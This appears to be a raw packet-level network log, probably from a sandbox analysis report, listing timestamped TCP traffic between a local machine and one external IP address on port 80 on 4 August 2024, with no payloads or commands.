Aug 4, 2024 02:21:39.368902922 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368936062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368968010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.368972063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.368999958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369012117 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369031906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369064093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369074106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369091988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369102001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369123936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369127989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369155884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369159937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369189024 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369194031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369225979 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369226933 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369257927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369262934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369290113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369296074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369323969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369334936 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369355917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369386911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369400978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369419098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369430065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369468927 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369499922 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369533062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369544983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369564056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369570971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369596958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369610071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369628906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369642019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369661093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369673014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369690895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369703054 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369724989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369734049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369755983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369766951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369791031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369802952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369823933 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369829893 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369860888 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.369870901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.369896889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.403505087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.403537989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.403594971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.403623104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.403655052 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.403700113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.403733015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.403765917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.403781891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.403798103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.403803110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.403831005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.403839111 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.403868914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.454209089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.454277992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.454278946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.454360008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.454370975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.454410076 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.454426050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.454463005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.454479933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.454508066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.454531908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.454581022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.454598904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.454649925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.454658031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.454682112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.454694986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.454726934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.454735994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.454782963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.454785109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.454818964 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.454832077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.454849958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.454864979 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.454883099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.454898119 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.454915047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.454930067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.454947948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.454961061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.454978943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.454991102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455020905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455029011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455060959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455076933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455094099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455104113 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455127001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455152035 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455162048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455174923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455199957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455208063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455233097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455246925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455265045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455281019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455296993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455307961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455336094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455343008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455367088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455379009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455401897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455415010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455434084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455451965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455466032 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455478907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455497980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455511093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455530882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455543995 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455563068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455576897 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455599070 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455609083 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455658913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455718040 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455751896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455770016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455784082 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455794096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455816984 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455831051 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455849886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455864906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455882072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455894947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455914974 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455926895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455949068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.455961943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.455996037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456260920 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456290007 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456311941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456322908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456330061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456356049 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456368923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456387997 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456401110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456420898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456433058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456454039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456465960 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456496000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456511021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456542969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456557035 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456574917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456585884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456609011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456619978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456641912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456659079 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456675053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456685066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456707954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456727028 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456742048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456753969 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456832886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456866980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456880093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456882954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456916094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456948996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456963062 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.456980944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.456988096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457012892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457026005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457046032 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457066059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457077026 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457086086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457109928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457142115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457153082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457174063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457180023 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457206011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457216024 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457240105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457247019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457272053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457283974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457303047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457310915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457336903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457345009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457369089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457376957 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457401991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457407951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457437992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457447052 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457472086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457477093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457504034 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457510948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457537889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457545042 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457570076 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457577944 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457608938 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457740068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457772970 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457797050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457804918 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457807064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457837105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457849026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457870007 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457879066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457901001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457911968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457930088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457941055 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457962990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.457971096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.457994938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458000898 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458026886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458034039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458060026 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458065987 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458091974 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458100080 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458123922 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458131075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458156109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458169937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458188057 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458198071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458220959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458226919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458252907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458261013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458286047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458292961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458317995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458324909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458353043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458355904 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458385944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458394051 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458425045 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458436012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458467960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458477020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458499908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458507061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458537102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458542109 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458568096 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458576918 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458606005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458606005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458635092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.458647966 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.458678961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.492203951 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.492235899 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.492338896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.492341042 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.492372036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.492377996 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.492404938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.492413044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.492436886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.492443085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.492470026 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.492475033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.492508888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.543242931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.543334007 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.543385983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.543387890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.543421030 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.543426037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.543456078 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.543467999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.543489933 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.543494940 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.543524027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.543534040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.543561935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.543575048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.543612957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.543617964 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.543644905 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.543657064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.543678045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.543685913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.543706894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.543711901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.543740034 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.543746948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.543772936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.543777943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.543807983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.543812037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.543847084 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544233084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544281960 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544286013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544318914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.544327021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.544352055 CEST	80	49757	147.45.44.104	192.168.2.4
